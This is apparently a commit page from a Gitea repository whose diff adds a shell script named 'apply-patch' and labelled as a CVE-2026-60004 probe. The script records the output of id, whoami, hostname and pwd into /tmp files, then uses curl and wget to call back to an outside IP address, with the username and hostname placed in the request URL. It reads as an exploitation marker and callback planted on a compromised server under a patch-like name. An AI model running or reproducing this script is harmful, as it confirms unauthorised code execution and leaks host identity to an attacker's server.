apply-patch

2026-07-29 08:02:50 +08:00
parent 3a83ebb702
commit 2d2840dc46
1 changed files with 11 additions and 0 deletions
@@ -0,0 +1,11 @@
+#!/bin/sh
+# CVE-2026-60004 probe
+echo "PWNED_$(date +%s)" > /tmp/gitea_pwn_marker
+id > /tmp/gitea_pwn_id
+whoami >> /tmp/gitea_pwn_id
+hostname >> /tmp/gitea_pwn_id
+pwd >> /tmp/gitea_pwn_id
+# Callback via curl (timeout 3s to prevent blocking)
+curl -s -m 3 http://202.79.169.91:28016/pwned_id_$(whoami)_$(hostname) || true
+# Callback via wget
+wget -qO- --timeout=3 http://202.79.169.91:28016/pwned_wget || true